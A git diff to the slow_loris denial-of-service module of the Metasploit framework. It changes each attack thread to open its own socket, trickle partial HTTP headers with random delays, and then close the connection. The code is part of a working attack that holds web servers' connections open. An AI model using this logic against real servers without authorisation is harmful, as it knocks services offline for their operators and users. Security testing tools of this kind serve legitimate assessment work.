diff --git a/modules/auxiliary/dos/http/slow_loris.rb b/modules/auxiliary/dos/http/slow_loris.rb index d1b38d0377..5d96e3ad85 100644 --- a/modules/auxiliary/dos/http/slow_loris.rb +++ b/modules/auxiliary/dos/http/slow_loris.rb @@ -60,13 +60,14 @@ class MetasploitModule < Msf::Auxiliary 1.upto(thread_count) do |i| threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i| begin - connect() - sock.puts(header) + current_sock = connect(global=false) + current_sock.puts(header) headers.times do data = "X-a-#{rand(0..1000)}: b\r\n" - sock.puts(data) + current_sock.puts(data) sleep rand(1..timeout) end + disconnect(nsock=current_sock) end end end